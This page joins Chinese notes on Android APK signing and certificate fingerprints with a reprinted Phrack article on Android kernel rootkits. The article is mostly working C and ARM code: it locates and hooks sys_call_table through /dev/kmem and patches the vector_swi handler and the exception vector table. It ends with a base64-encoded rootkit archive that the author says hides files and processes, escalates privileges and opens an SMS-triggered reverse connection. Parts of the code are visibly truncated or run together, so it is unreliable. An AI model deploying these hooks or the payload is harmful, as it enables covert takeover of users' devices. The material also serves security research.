Android Security
确认签名
Debug签名:
$ jarsigner -verify -certs -verbose bin/TemplateGem.apksm 2525 Sun Jun 02 23:44:06 CST 2013 assets/XmlPullParser X.509, CN=Android Debug, O=Android, C=US [证书的有效期为 12-10-10 下午9:48 至 42-10-3 下午9:48]...sm 544036 Sun Jun 02 23:44:06 CST 2013 classes.dex X.509, CN=Android Debug, O=Android, C=US [证书的有效期为 12-10-10 下午9:48 至 42-10-3 下午9:48] 6508 Sun Jun 02 23:44:06 CST 2013 META-INF/MANIFEST.MF 6561 Sun Jun 02 23:44:06 CST 2013 META-INF/CERT.SF 776 Sun Jun 02 23:44:06 CST 2013 META-INF/CERT.RSA s = 已验证签名 m = 在清单中列出条目 k = 在密钥库中至少找到了一个证书 i = 在身份作用域内至少找到了一个证书jar 已验证。
第三方系统签名:
$ jarsigner -verify -certs -verbose SettingsProvider.apk 379 Wed Jun 22 22:25:12 CST 2011 META-INF/MANIFEST.MF 421 Wed Jun 22 22:25:12 CST 2011 META-INF/CERT.SF 1772 Wed Jun 22 22:25:12 CST 2011 META-INF/CERT.RSAsm 1864 Wed Jun 22 22:25:12 CST 2011 AndroidManifest.xml X.509, EMAILADDRESS=android.os@samsung.com, CN=Samsung Cert, OU=DMC, O=Samsung Corporation, L=Suwon City, ST=South Korea, C=KR [证书的有效期为 11-6-22 下午8:25 至 38-11-7 下午8:25]sm 6688 Wed Jun 22 22:25:12 CST 2011 res/drawable-hdpi/ic_launcher_settings.png X.509, EMAILADDRESS=android.os@samsung.com, CN=Samsung Cert, OU=DMC, O=Samsung Corporation, L=Suwon City, ST=South Korea, C=KR [证书的有效期为 11-6-22 下午8:25 至 38-11-7 下午8:25]sm 1360 Wed Jun 22 22:25:12 CST 2011 res/xml/bookmarks.xml X.509, EMAILADDRESS=android.os@samsung.com, CN=Samsung Cert, OU=DMC, O=Samsung Corporation, L=Suwon City, ST=South Korea, C=KR [证书的有效期为 11-6-22 下午8:25 至 38-11-7 下午8:25]sm 12900 Wed Jun 22 22:25:12 CST 2011 resources.arsc X.509, EMAILADDRESS=android.os@samsung.com, CN=Samsung Cert, OU=DMC, O=Samsung Corporation, L=Suwon City, ST=South Korea, C=KR [证书的有效期为 11-6-22 下午8:25 至 38-11-7 下午8:25] s = 已验证签名 m = 在清单中列出条目 k = 在密钥库中至少找到了一个证书 i = 在身份作用域内至少找到了一个证书jar 已验证
使用系统签名
- 在编译环境下, 修改Android.mk
LOCAL_CERTIFICATE := platform
- 脚本签名
#!/bin/shANDROID_HOME=''PEM=${ ANDROID_HOME}/build/target/product/security/platform.x509.pem PK8=${ ANDROID_HOME}/build/target/product/security/platform.pk8 if [ $# -ne 2 ] then echo Usage $0 in.apk out.apk exit 1 fi java -jar ${ ANDROID_HOME}/out/host/linux-x86/framework/signapk.jar ${ PEM} ${ PK8} $1 $2
计算证书摘要信息
public static String getPackageCertFingerprint(PackageManager pm, String packageName) { int flags = PackageManager.GET_SIGNATURES; PackageInfo packageInfo = null; try { packageInfo = pm.getPackageInfo(packageName, flags); } catch (NameNotFoundException e) { e.printStackTrace(); } Signature[] signatures = packageInfo.signatures; if (signatures == null) { return "-"; } byte[] cert = signatures[0].toByteArray(); InputStream input = new ByteArrayInputStream(cert); CertificateFactory cf = null; try { cf = CertificateFactory.getInstance("X509"); } catch (CertificateException e) { e.printStackTrace(); } X509Certificate c = null; try { c = (X509Certificate) cf.generateCertificate(input); } catch (CertificateException e) { e.printStackTrace(); } StringBuffer hexString = new StringBuffer(); try { MessageDigest md = MessageDigest.getInstance("SHA1"); byte[] publicKey = md.digest(c.getPublicKey().getEncoded()); for (int i = 0; i < publicKey.length; i++) { String appendString = Integer.toHexString(0xFF & publicKey[i]); if (appendString.length() == 1) hexString.append("0"); hexString.append(appendString); } } catch (NoSuchAlgorithmException e1) { e1.printStackTrace(); } return hexString.toString(); }
获取平台证书的摘要
public static String getCertFingerprintsBySharedUid(PackageManager pm, String uid) { Listxs = pm.getInstalledPackages(PackageManager.GET_PERMISSIONS | PackageManager.GET_SIGNATURES); String digest; for (PackageInfo x : xs) { if (!TextUtils.isEmpty(x.sharedUserId) && x.sharedUserId.equalsIgnoreCase(uid)) { if (x.signatures != null) { digest = getPackageCertFingerprint(pm, x.packageName); return digest; } } } return ""; } ... String platformCertDigest = getCertFingerprintsBySharedUid(mPm, "android.uid.system");
==Phrack Inc.== Volume 0x0e, Issue 0x44, Phile #0x06 of 0x13|=-----------------------------------------------------------------------=||=-----------=[ Android platform based linux kernel rootkit ]=-----------=||=-----------------------------------------------------------------------=||=-----------------=[ dong-hoon you]=-----------------=||=------------------------=[ April 04th 2011 ]=--------------------------=||=-----------------------------------------------------------------------=|--[ Contents 1 - Introduction 2 - Basic techniques for hooking 2.1 - Searching sys_call_table 2.2 - Identifying sys_call_table size 2.3 - Getting over the problem of structure size in kernel versions 2.4 - Treating version magic 3 - sys_call_table hooking through /dev/kmem access technique 4 - modifying sys_call_table handle code in vector_swi handler routine 5 - exception vector table modifying hooking techniques 5.1 - exception vector table 5.2 - Hooking techniques changing vector_swi handler 5.3 - Hooking techniques changing branch instruction offset 6 - Conclusion 7 - References 8 - Appendix: earthworm.tgz.uu--[ 1 - IntroductionThis paper covers rootkit techniques that can be used in linux kernel basedon Android platform using ARM(Advanced RISC Machine) process. All the testsin this paper were performed in Motoroi XT720 model(2.6.29-omap1 kernel)and Galaxy S SHW-M110S model(2.6.32.9 kernel). Note that some contents maynot apply to all smart platform machines and there are some bugs you canmodify.We have seen various linux kernel hooking techniques of some pioneers([1][2][3][4][5]). Especially, I appreciate to Silvio Cesare and sd whointroduced and developed the /dev/kmem technique. Read the references formore information.In this paper, we are going to discuss a few hooking techniques. 1. Simple and traditional hooking technique using kmem device. 2. Traditional hooking technique changing sys_call_table offset in vector_swi handler. 3. Two newly developed hooking techniques changing interrupt service routine handler in exception vector table.The main concepts of the techniques mentioned in this paper are 'smart' and'simple'. This is because this paper focuses on hooking through modifyingthe least kernel memory and by the simplest way. As the past goodtechniques were, hooking must be possible freely before and after systemcall.This paper consists of eight parts and I tried to supply various examplesfor readers' convenience by putting abundant appendices. The example codesare written for ARM architecture, but if you modify some parts, you can usethem in the environment of ia32 architecture and even in the environmentthat doesn't support LKM.--[ 2 - Basic techniques for hookingsys_call_table is a table which stores the addresses of low-level systemroutines. Most of classical hooking techniques interrupt the sys_call_tablefor some purposes. Because of this, some protection techniques such ashiding symbol and moving to the field of read-only have been adapted toprotect sys_call_table from attackers. These protections, however,can be easily removed if an attacker uses kmem device access technique.To discuss other techniques making protection useless is beyond the purposeof this paper.--[ 2.1 - Searching sys_call_tableIf sys_call_table symbol is not exported and there is no sys_call_tableinformation in kallsyms file which contains kernel symbol tableinformation, it will be difficult to get the sys_call_table address thatvaries on each version of platform kernel. So, we need to research the wayto get the address of sys_call_table without symbol table information.You can find the similar techniques in the web[10], but apart from this,this paper is written to meet the Android platform on the way of testing.--[ 2.1.1 - Getting sys_call_table address in vector_swi handlerAt first, I will introduce the first two ways to get sys_call_table addressThe code I will introduce here is written dependently in the interruptimplementation of ARM process.Generally, in the case of ARM process, when interrupt or exception happens,it branches to the exception vector table. In that exception vector table,there are exception hander addresses that match each exception handlerroutines. The kernel of present Android platform uses high vector(0xffff0000) and at the point of 0xffff0008, offset by 0x08, there is a 4byte instruction to branch to the software interrupt handler. When theinstruction runs, the address of the software interrupt handler stored inthe address 0xffff0420, offset by 0x420, is called. See the section 5.1 formore information.void get_sys_call_table(){ void *swi_addr=(long *)0xffff0008; unsigned long offset=0; unsigned long *vector_swi_addr=0; unsigned long sys_call_table=0; offset=((*(long *)swi_addr)&0xfff)+8; vector_swi_addr=*(unsigned long *)(swi_addr+offset); while(vector_swi_addr++){ if(((*(unsigned long *)vector_swi_addr)& 0xfffff000)==0xe28f8000){ offset=((*(unsigned long *)vector_swi_addr)& 0xfff)+8; sys_call_table=(void *)vector_swi_addr+offset; break; } } return;}At first, this code gets the address of vector_swi routine(softwareinterrupt process exception handler) in the exception vector table of highvector and then, gets the address of a code that handles thesys_call_table address. The followings are some parts of vector_swi handlercode.000000c0 : c0: e24dd048 sub sp, sp, #72 ; 0x48 (S_FRAME_SIZE) c4: e88d1fff stmia sp, {r0 - r12} ; Calling r0 - r12 c8: e28d803c add r8, sp, #60 ; 0x3c (S_PC) cc: e9486000 stmdb r8, {sp, lr}^ ; Calling sp, lr d0: e14f8000 mrs r8, SPSR ; called from non-FIQ mode, so ok. d4: e58de03c str lr, [sp, #60] ; Save calling PC d8: e58d8040 str r8, [sp, #64] ; Save CPSR dc: e58d0044 str r0, [sp, #68] ; Save OLD_R0 e0: e3a0b000 mov fp, #0 ; 0x0 ; zero fp e4: e3180020 tst r8, #32 ; 0x20 ; this is SPSR from save_user_regs e8: 12877609 addne r7, r7, #9437184; put OS number in ec: 051e7004 ldreq r7, [lr, #-4] f0: e59fc0a8 ldr ip, [pc, #168] ; 1a0 <__cr_alignment> f4: e59cc000 ldr ip, [ip] f8: ee01cf10 mcr 15, 0, ip, cr1, cr0, {0} ; update control register fc: e321f013 msr CPSR_c, #19 ; 0x13 enable_irq 100: e1a096ad mov r9, sp, lsr #13 ; get_thread_info tsk 104: e1a09689 mov r9, r9, lsl #13[*]108: e28f8094 add r8, pc, #148 ; load syscall table pointer 10c: e599c000 ldr ip, [r9] ; check for syscall tracingThe asterisk part is the code of sys_call_table. This code notifies thestart of sys_call_table at the appointed offset from the present pcaddress. So, we can get the offset value to figure out the position ofsys_call_table if we can find opcode pattern corresponding to "add r8, pc"instruction.opcode: 0xe28f8???if(((*(unsigned long *)vector_swi_addr)&0xfffff000)==0xe28f8000){ offset=((*(unsigned long *)vector_swi_addr)&0xfff)+8; sys_call_table=(void *)vector_swi_addr+offset; break;From this, we can get the address of sys_call_table handled invector_swi handler routine. And there is an easier way to do this.--[ 2.1.2 - Finding sys_call_table addr through sys_close addr searchingThe second way to get the address of sys_call_table is simpler than the wayintroduced in 2.1.1. This way is to find the address by using the fact thatsys_close address, with open symbol, is in 0x6 offset from the startingpoint of sys_call_table.... the same vector_swi address searching routine parts omitted ... while(vector_swi_addr++){ if(*(unsigned long *)vector_swi_addr==&sys_close){ sys_call_table=(void *)vector_swi_addr-(6*4); break; } }}By using the fact that sys_call_table resides after vector_swi handleraddress, we can search the sys_close which is appointed as the sixth systemcall of sys_table_call.fs/open.c:EXPORT_SYMBOL(sys_close);...call.S:/* 0 */ CALL(sys_restart_syscall) CALL(sys_exit) CALL(sys_fork_wrapper) CALL(sys_read) CALL(sys_write)/* 5 */ CALL(sys_open) CALL(sys_close)This searching way has a technical disadvantage that we must get thesys_close kernel symbol address beforehand if it's implemented in usermode.--[ 2.2 - Identifying sys_call_table sizeThe hooking technique which will be introduced in section 4 changes thesys_call_table handle code within vector_swi handler. It generates the copyof the existing sys_call_table in the heap memory. Because the size ofsys_call_table varies in each platform kernel version, we need a precisesize of sys_call_table to generate a copy.... the same vector_swi address searching routine parts omitted ... while(vector_swi_addr++){ if(((*(unsigned long *)vector_swi_addr)& 0xffff0000)==0xe3570000){ i=0x10-(((*(unsigned long *)vector_swi_addr)& 0xff00)>>8); size=((*(unsigned long *)vector_swi_addr)& 0xff)<<(2*i); break; } }}This code searches code which controls the size of sys_call_table withinvector_swi routine and then gets the value, the size of sys_call_table.The following code determines the size of sys_call_table, and it makes apart of a function that calls system call saved in sys_call_table. 118: e92d0030 stmdb sp!, {r4, r5} ; push fifth and sixth args 11c: e31c0c01 tst ip, #256 ; are we tracing syscalls? 120: 1a000008 bne 148 <__sys_trace>[*]124: e3570f5b cmp r7, #364 ; check upper syscall limit 128: e24fee13 sub lr, pc, #304 ; return address 12c: 3798f107 ldrcc pc, [r8, r7, lsl #2] ; call sys_* routineThe asterisk part compares the size of sys_call_table. This code checks ifthe r7 register value which contains system call number is bigger thansyscall limit. So, if we search opcode pattern(0xe357????) corresponding to"cmp r7", we can get the exact size of sys_call_table. For yourinformation, all of the offset values can be obtained by using ARMarchitecture operand counting method.--[ 2.3 - Getting over the problem of structure size in kernel versionsEven if you are using the same version of kernels, the size of structurevaries according to the compile environments and config options. Thus, ifwe use a wrong structure with a wrong size, it is not likely to work as weexpect. To prevent errors caused by the difference of structure offset andto enable our code to work in various kernel environments, we need to builda function which gets the offset needed from the structure.void find_offset(void){ unsigned char *init_task_ptr=(char *)&init_task; int offset=0,i; char *ptr=0; /* getting the position of comm offset within task_struct structure */ for(i=0;i<0x600;i++){ if(init_task_ptr[i]=='s'&&init_task_ptr[i+1]=='w'&& init_task_ptr[i+2]=='a'&&init_task_ptr[i+3]=='p'&& init_task_ptr[i+4]=='p'&&init_task_ptr[i+5]=='e'&& init_task_ptr[i+6]=='r'){ comm_offset=i; break; } } /* getting the position of tasks.next offset within task_struct structure */ init_task_ptr+=0x50; for(i=0x50;i<0x300;i+=4,init_task_ptr+=4){ offset=*(long *)init_task_ptr; if(offset&&offset>0xc0000000){ offset-=i; offset+=comm_offset; if(strcmp((char *)offset,"init")){ continue; } else { next_offset=i; /* getting the position of parent offset within task_struct structure */ for(;i<0x300;i+=4,init_task_ptr+=4){ offset=*(long *)init_task_ptr; if(offset&&offset>0xc0000000){ offset+=comm_offset; if(strcmp ((char *)offset,"swapper")) { continue; } else { parent_offset=i+4; break; } } } break; } } } /* getting the position of cred offset within task_struct structure */ init_task_ptr=(char *)&init_task; init_task_ptr+=comm_offset; for(i=0;i<0x50;i+=4,init_task_ptr-=4){ offset=*(long *)init_task_ptr; if(offset&&offset>0xc0000000&&offset<0xd0000000&& offset==*(long *)(init_task_ptr-4)){ ptr=(char *)offset; if(*(long *)&ptr[4]==0&& *(long *)&ptr[8]==0&& *(long *)&ptr[12]==0&& *(long *)&ptr[16]==0&& *(long *)&ptr[20]==0&& *(long *)&ptr[24]==0&& *(long *)&ptr[28]==0&& *(long *)&ptr[32]==0){ cred_offset=i; break; } } } /* getting the position of pid offset within task_struct structure */ pid_offset=parent_offset-0xc; return;}This code gets the information of PCB(process control block) using somefeatures that can be used as patterns of task_struct structure.First, we need to search init_task for the process name "swapper" to findout address of "comm" variable within task_struct structure created beforeinit process. Then, we search for "next" pointer from "tasks" which is alinked list of process structure. Finally, we use "comm" variable to figureout whether the process has a name of "init". If it does, we get the offsetaddress of "next" pointer.include/linux/sched.h:struct task_struct {... struct list_head tasks;... pid_t pid;... struct task_struct *real_parent; /* real parent process */ struct task_struct *parent; /* recipient of SIGCHLD, wait4() reports */... const struct cred *real_cred; /* objective and real subjective task * credentials (COW) */ const struct cred *cred; /* effective (overridable) subjective task */ struct mutex cred_exec_mutex; /* execve vs ptrace cred calculation mutex */ char comm[TASK_COMM_LEN]; /* executable name ... */After this, we get the parent pointer by checking some pointers. And ifthis is a right parent pointer, it has the name of previous task(init_task)process, swapper. The reason we search the address of parent pointer is toget the offset of pid variable by using a parent offset as a base point.To get the position of cred structure pointer related with task privilege,we perform backward search from the point of comm variable and check if theid of each user is 0.--[ 2.4 - Treating version magicCheck the whitepaper[11] of Christian Papathanasiou and Nicholas J. Percocoin Defcon 18. The paper introduces the way of treating version magic bymodifying the header of utsrelease.h when we compile LKM rootkit module.In fact, I have used a tool which overwrites the vermagic value of compiledkernel module binary directly before they presented.--[ 3 - sys_call_table hooking through /dev/kmem access techniqueI hope you take this section as a warming-up. If you want to know moredetailed background knowledge about /dev/kmem access technique, check the"Run-time kernel patching" by Silvio and "Linux on-the-fly kernel patchingwithout LKM" by sd.At least until now, the root privilege of access to /dev/kmem device withinlinux kernel in Android platform is allowed. So, it is possible to movethrough lseek() and to read through read(). Newly written /dev/kmem accessroutines are as follows.#define MAP_SIZE 4096UL#define MAP_MASK (MAP_SIZE - 1)int kmem;/* read data from kmem */void read_kmem(unsigned char *m,unsigned off,int sz){ int i; void *buf,*v_addr; if((buf=mmap(0,MAP_SIZE*2,PROT_READ|PROT_WRITE, MAP_SHARED,kmem,off&~MAP_MASK))==(void *)-1){ perror("read: mmap error"); exit(0); } for(i=0;i code of sys_call_table ldr ip, [tsk, #TI_FLAGS] ; @ check for syscall tracingcode after compile:000000c0 :... 100: e1a096ad mov r9, sp, lsr #13 ; get_thread_info tsk 104: e1a09689 mov r9, r9, lsl #13[*]108: e28f8094 add r8, pc, #148 ; load syscall table pointer ~~~~~~~~~~~~~~~~~~~~ +-> deal sys_call_table as relative offset 10c: e599c000 ldr ip, [r9] ; check for syscall tracingSo, I contrived a hooking technique modifying "add r8, pc, #offset" codeitself like this.before modifying: e28f80?? add r8, pc, #??after modifying: e59f80?? ldr r8, [pc, #??]These instructions get the address of sys_call_table at the specifiedoffset from the present pc address and then store it in r8 register. As aresult, the address of sys_call_table is stored in r8 register. Now, wehave to make a separated space to store the address of sys_call_table copynear the processing routine. After some consideration, I decided tooverwrite nop code of other function's epilogue near vector_swi handler.00000174 <__sys_trace_return>: 174: e5ad0008 str r0, [sp, #8]! 178: e1a02007 mov r2, r7 17c: e1a0100d mov r1, sp 180: e3a00001 mov r0, #1 ; 0x1 184: ebfffffe bl 0 188: eaffffb1 b 54 [*]18c: e320f000 nop {0} ~~~~~~~~ -> position to overwrite the copy of sys_call_table 190: e320f000 nop {0} ... 000001a0 <__cr_alignment>: 1a0: 00000000 .... 000001a4 :Now, if we count the offset from the address of sys_call_table to theaddress overwritten with the address of sys_call_table copy and then modifycode, we can use the table we copied whenever system call is called. Thehooking code modifying some parts of vector_swi handling routine and nopcode near the address of sys_call_table is as follows:void install_hooker(){ void *swi_addr=(long *)0xffff0008; unsigned long offset=0; unsigned long *vector_swi_addr=0,*ptr; unsigned char buf[MAP_SIZE+1]; unsigned long modify_addr1=0; unsigned long modify_addr2=0; unsigned long addr=0; char *addr_ptr; offset=((*(long *)swi_addr)&0xfff)+8; vector_swi_addr=*(unsigned long *)(swi_addr+offset); memset((char *)buf,0,sizeof(buf)); read_kmem(buf,(long)vector_swi_addr,MAP_SIZE); ptr=(unsigned long *)buf; /* get the address of ldr that handles sys_call_table */ while(ptr){ if(((*(unsigned long *)ptr)&0xfffff000)==0xe28f8000){ modify_addr1=(unsigned long)vector_swi_addr; break; } ptr++; vector_swi_addr++; } /* get the address of nop that will be overwritten */ while(ptr){ if(*(unsigned long *)ptr==0xe320f000){ modify_addr2=(unsigned long)vector_swi_addr; break; } ptr++; vector_swi_addr++; } /* overwrite nop with hacked_sys_call_table */ addr_ptr=(char *)get_kernel_symbol("hacked_sys_call_table"); write_kmem((char *)&addr_ptr,modify_addr2,4); /* calculate fake table offset */ offset=modify_addr2-modify_addr1-8; /* change sys_call_table offset into fake table offset */ addr=0xe59f8000+offset; /* ldr r8, [pc, #offset] */ addr_ptr=(char *)addr; write_kmem((char *)&addr_ptr,modify_addr1,4); return;}This code gets the address of the code that handles sys_call_table withinvector_swi handler routine, and then finds nop code around and stores theaddress of hacked_sys_call_table which is a copy version of sys_call_table.After this, we get the sys_call_table handle code from the offset in whichhacked_sys_call_table resides and then hooking starts.--[ 5 - exception vector table modifying hooking techniquesThis section discusses two hooking techniques, one is the hooking techniquewhich changes the address of software interrupt exception handler routinewithin exception vector table and the other is the technique which changesthe offset of code branching to vector_swi handler. The purpose of thesetwo techniques is to implement the hooking technique that modifies onlyexception vector table without changing sys_call_table and vector_swihandler.--[ 5.1 - exception vector tableException vector table contains the address of various exception handlerroutines, branch code array and processing codes to call the exceptionhandler routine. These are declared in entry-armv.S, copied to the point ofthe high vector(0xffff0000) by early_trap_init() routine within traps.ccode, and make one exception vector table.traps.c:void __init early_trap_init(void){ unsigned long vectors = CONFIG_VECTORS_BASE; /* 0xffff0000 */ extern char __stubs_start[], __stubs_end[]; extern char __vectors_start[], __vectors_end[]; extern char __kuser_helper_start[], __kuser_helper_end[]; int kuser_sz = __kuser_helper_end - __kuser_helper_start; /* * Copy the vectors, stubs and kuser helpers (in entry-armv.S) * into the vector page, mapped at 0xffff0000, and ensure these * are visible to the instruction stream. */ memcpy((void *)vectors, __vectors_start, __vectors_end - __vectors_start); memcpy((void *)vectors + 0x200, __stubs_start, __stubs_end - __stubs_start);After the processing codes are copied in order by early_trap_init()routine, the exception vector table is initialized, then one exceptionvector table is made as follows.# ./coelacanth -e[000] ffff0000: ef9f0000 [Reset] ; svc 0x9f0000 branch code array[004] ffff0004: ea0000dd [Undef] ; b 0x380[008] ffff0008: e59ff410 [SWI] ; ldr pc, [pc, #1040] ; 0x420[00c] ffff000c: ea0000bb [Abort-perfetch] ; b 0x300[010] ffff0010: ea00009a [Abort-data] ; b 0x280[014] ffff0014: ea0000fa [Reserved] ; b 0x404[018] ffff0018: ea000078 [IRQ] ; b 0x608[01c] ffff001c: ea0000f7 [FIQ] ; b 0x400[020] Reserved... skip ...[22c] ffff022c: c003dbc0 [__irq_usr] ; exception handler routine addr array[230] ffff0230: c003d920 [__irq_invalid][234] ffff0234: c003d920 [__irq_invalid][238] ffff0238: c003d9c0 [__irq_svc][23c] ffff023c: c003d920 [__irq_invalid]...[420] ffff0420: c003df40 [vector_swi]When software interrupt occurs, 4 byte instruction at 0xffff0008 isexecuted. The code copies the present pc to the address of exceptionhandler and then branches. In other words, it branches to the vector_swihandler routine at 0x420 of exception vector table.--[ 5.2 - Hooking techniques changing vector_swi handlerThe hooking technique changing the vector_swi handler is the first one thatwill be introduced. It changes the address of exception handler routinethat processes software interrupt within exception vector table and callsthe vector_swi handler routine forged by an attacker. 1. Generate the copy version of sys_call_table in kernel heap and then change the address of routine as aforementioned. 2. Copy not all vector_swi handler routine but the code before handling sys_call_table to kernel heap for simple hooking. 3. Fill the values with right values for the copied fake vector_swi handler routine to act normally and change the code to call the address of sys_call_table copy version. (generated in step 1) 4. Jump to the next position of sys_call_table handle code of original vector_swi handler routine. 5. Change the address of vector_swi handler routine of exception vector table to the address of fake vector_swi handler code.The completed fake vector_swi handler has a code like following.00000000 : 00: e24dd048 sub sp, sp, #72 ; 0x48 04: e88d1fff stmia sp, {r0 - r12} 08: e28d803c add r8, sp, #60 ; 0x3c 0c: e9486000 stmdb r8, {sp, lr}^ 10: e14f8000 mrs r8, SPSR 14: e58de03c str lr, [sp, #60] 18: e58d8040 str r8, [sp, #64] 1c: e58d0044 str r0, [sp, #68] 20: e3a0b000 mov fp, #0 ; 0x0 24: e3180020 tst r8, #32 ; 0x20 28: 12877609 addne r7, r7, #9437184 2c: 051e7004 ldreq r7, [lr, #-4] [*]30: e59fc020 ldr ip, [pc, #32] ; 0x58 <__cr_alignment> 34: e59cc000 ldr ip, [ip] 38: ee01cf10 mcr 15, 0, ip, cr1, cr0, {0} 3c: f1080080 cpsie i 40: e1a096ad mov r9, sp, lsr #13 44: e1a09689 mov r9, r9, lsl #13 [*]48: e59f8000 ldr r8, [pc, #0] [*]4c: e59ff000 ldr pc, [pc, #0] [*]50: [*]54: [*]58: <__cr_alignment routine address referring at 0x30>The asterisk parts are the codes modified or added to the original code. Inaddition to the part that we modified to make the code refer __cr_alignmentfunction, I added some instructions to save address of sys_call_table copyversion to r8 register, and jump back to the original vector_swi handlerfunction. Following is the attack code written as a kernel module.static unsigned char new_vector_swi[500];...void make_new_vector_swi(){ void *swi_addr=(long *)0xffff0008; void *vector_swi_ptr=0; unsigned long offset=0; unsigned long *vector_swi_addr=0,orig_vector_swi_addr=0; unsigned long add_r8_pc_addr=0; unsigned long ldr_ip_pc_addr=0; int i; offset=((*(long *)swi_addr)&0xfff)+8; vector_swi_addr=*(unsigned long *)(swi_addr+offset); vector_swi_ptr=swi_addr+offset; /* 0xffff0420 */ orig_vector_swi_addr=vector_swi_addr; /* vector_swi's addr */ /* processing __cr_alignment */ while(vector_swi_addr++){ if(((*(unsigned long *)vector_swi_addr)& 0xfffff000)==0xe28f8000){ add_r8_pc_addr=(unsigned long)vector_swi_addr; break; } /* get __cr_alingment's addr */ if(((*(unsigned long *)vector_swi_addr)& 0xfffff000)==0xe59fc000){ offset=((*(unsigned long *)vector_swi_addr)& 0xfff)+8; ldr_ip_pc_addr=*(unsigned long *) ((char *)vector_swi_addr+offset); } } /* creating fake vector_swi handler */ memcpy(new_vector_swi,(char *)orig_vector_swi_addr, (add_r8_pc_addr-orig_vector_swi_addr)); offset=(add_r8_pc_addr-orig_vector_swi_addr); for(i=0;i 0xe59ff414 */The changed exception vector table after hooking is as follows.# ./coelacanth -e[000] ffff0000: ef9f0000 [Reset] ; svc 0x9f0000 branch code array[004] ffff0004: ea0000dd [Undef] ; b 0x380[008] ffff0008: e59ff414 [SWI] ; ldr pc, [pc, #1044] ; 0x424[00c] ffff000c: ea0000bb [Abort-perfetch] ; b 0x300[010] ffff0010: ea00009a [Abort-data] ; b 0x280[014] ffff0014: ea0000fa [Reserved] ; b 0x404[018] ffff0018: ea000078 [IRQ] ; b 0x608[01c] ffff001c: ea0000f7 [FIQ] ; b 0x400[020] Reserved... skip ...[420] ffff0420: c003df40 [vector_swi][424] ffff0424: bf0ceb5c [new_vector_swi] ; fake vector_swi handler codeHooking starts when the address of a fake vector_swi handler code is storedat 0xffff0424 and the 4 byte branch instruction offset at 0xffff0008changes the address around 0xffff0424 for reference.--[ 6 - ConclusionOne more time, I thank many pioneers for their devotion and inspiration.I also hope various Android rootkit researches to follow. It is a pitythat I couldn't cover all the ideas that occurred in my mind duringwriting this paper. However, I also think that it is better to discussthe advanced and practical techniques next time -if you like this one ;-)-.For more information, the attached example code provides not only file &process hiding and kernel module hiding features but also the classicalrootkit features such as admin privilege succession to specific gid userand process privilege changing. I referred to the Defcon 18 whitepaper ofChristian Papathanasiou and Nicholas J. Percoco for performing the reverseconnection when we receive a sms message from an appointed phone number.Thanks to:vangelis and GGUM for translating Korean into English. Other than those whohelped me on this paper, I'd like to thank my colleagues, people in mygraduate school and everyone who knows me.--[ 7 - References [1] "Abuse of the Linux Kernel for Fun and Profit" by halflife [Phrack issue 50, article 05] [2] "Weakening the Linux Kernel" by plaguez [Phrack issue 52, article 18] [3] "RUNTIME KERNEL KMEM PATCHING" by Silvio Cesare [runtime-kernel-kmem-patching.txt] [4] "Linux on-the-fly kernel patching without LKM" by sd & devik [Phrack issue 58, article 07] [5] "Handling Interrupt Descriptor Table for fun and profit" by kad [Phrack issue 59, article 04] [6] "trojan eraser or i want my system call table clean" by riq [Phrack issue 54, article 03] [7] "yet another article about stealth modules in linux" by riq ["abtrom: anti btrom" in a mail to Bugtraq] [8] "Saint Jude, The Model" by Timothy Lawless [http://prdownloads.sourceforge.net/stjude/StJudeModel.pdf] [9] "IA32 ADVANCED FUNCTION HOOKING" by mayhem [Phrack issue 58, article 08][10] "Android LKM Rootkit" by fred [http://upche.org/doku.php?id=wiki:rootkit][11] "This is not the droid you're looking for..." by Trustwave [DEFCON-18-Trustwave-Spiderlabs-Android-Rootkit-WP.pdf]--[ 8 - Appendix: earthworm.tgz.uuI attach a demo code to demonstrate the concepts which I explained in thispaper. This code can be used as a real code for attack or just a proof-of-concept code. I wish you use this code only for your study not for a badpurpose.<++> earthworm.tgz.uubegin-base64 644 earthworm.tgzH4sIAH8LtU0AA+w9aXfTyLLzNTqH/9DjgSA5krc4CwnmXR5kIJewnASGO4/J0ZHltq2xtiPJWQa4v/1VdbdkSZYTJxMCDO0TEquX6uraurq6WlArSsanQeQ1f/pin1ar29ra2IC/7FP+y7632xvdzU6r3cFyeNjY+olsfDmUZp9pnFgRIT9FQZBc1O6y+u/0QzP+x+exaVuuayZW36UN++bGaLVbrc1udwH/21vrG+sl/ne32u2fSOvmUFj8+cH536wrdfwhb8dOTODHCkPqD5wzEgxJMqbkzTiy7AlRT09PGyH73giikUZAbhzbpTvY97E/iAJnQELXSoYgS6RvxXRAXMefnpEJjXzqEqTfxEmweVHSyDgIJo4/InYwoAKZx67LBk9onMTklEaUDAKfksAnL4MkgMHIf95udVrEgz6u2mlsNjoPjMCzwrYYT0Mwlj8gzyzXOjsnR+To+XvjZbvdOsp1Wu80HqQdGtjjVZDAqGMrIXHgUUDJT6gPKHjWOfGDBKnjnpMkIIA+iT0gwmzSnmWPHZ/G6cgwAcDbgn8MVn86isl5MCW25SMKzvC8kac9Tp/V9SmZIvksYAaJqOXyKhiDWEmCzIBvf4LcQnUIZB0a8INgAFubhglr3iD75NSJx2xEAAfYpGMEPkwBoUFVROJkOuBzYwMA6wYEgYXTKAximqL47miP7L8lj9+S31+/OySv378ih/tHL34W1QZDoH9OasCnkQEs9RF8jaj/CV1Q8T33L00nD8+2O/8CEiV2EKIUPcJOL8/J+yByBztknCThTrMJjRq5RmyEpqL84vi2OwX8HzK5ajq+k4AExZPG+BGZq+VMrawC2k/BwFVVxfaYDiprpr4TJ9VVAycCGYEqwHFAh4A6Mc1Xh+azvbfv9p+S9oMHxfL3h/tv934j7e5msfzF/sEBWd+aA/J079Xbo80u6bS3ZiM83fvVfIbQtzvbnULp8/2ne6QGRKwpCtg20FJygspZrxf1bldxfJQVzzOD4TCmSa8liiI6KBWFzlyJhZMuFfr0rFyE1jUx7fEECwCfaGqLEcT3j8oKtpvG1ghQ4t+dwe5Ks85lH0koTBEym4AosEajfKNnCxrFKajYOgGNWgQrHhWaLYJGU2h0OKR24pzQhRDpaK7pIqjDDEkEhkr4269HJAjjXIsU2rP5Fp+BrFbsgShOgIIE26v1IHJG5sRxXU1F1jEG6qwudkbabr5DHDt/UTPrdBo5CT3RVDbuQBdMcoITapM6/ALjq3O5mfpJEVJu6BFNBmg3N7uaOvVhTB/IKkASAZMpj8mVB6S7Dt9CnRRaVwwyZdOZDQPPmoryDc0UJudQaBYlXdVAyLgOxKeOaQ0GUU91wU6RutY6G8IH3JBtEL5scFY5E+RShaCDmQFD0V4RzVW1nsJO67VVNoq2hmOU+9bVEnBNTevWOEic2crp2IGJlDqvreHMVpyhiqOW4ZQaCyzYZLVer3VGO9vDbXxAGHn0l